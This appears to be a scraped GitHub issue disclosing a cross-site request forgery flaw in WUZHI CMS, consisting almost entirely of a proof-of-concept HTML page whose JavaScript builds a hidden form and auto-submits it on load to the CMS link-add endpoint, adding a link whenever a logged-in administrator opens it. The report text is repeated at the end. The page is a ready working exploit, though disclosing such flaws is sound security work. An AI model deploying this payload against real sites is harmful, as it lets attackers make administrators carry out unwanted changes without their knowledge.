We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
After the administrator logs in, open this page
poc testr_csrf.html //Add a friendship link
<html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } function csrf_hack() { var fields; fields += "<input type='hidden' name='form[kid]' value='1' />"; fields += "<input type='hidden' name='form[sitename]' value='test_csrf' />"; fields += "<input type='hidden' name='form[url]' value='www.google.cn' />"; fields += "<input type='hidden' name='form[logo]' value='' />"; fields += "<input type='hidden' name='form[remark]' value='test_csrf' />"; var url = "http://127.0.0.1/index.php?m=link&f=index&v=add&&_su=wuzhicms&_menuid=34&_submenuid=104&submit=提交"; post(url,fields); } window.onload = function() { csrf_hack();} </script> </body></html>
The text was updated successfully, but these errors were encountered:
No branches or pull requests
After the administrator logs in, open this page
poc testr_csrf.html //Add a friendship link
The text was updated successfully, but these errors were encountered: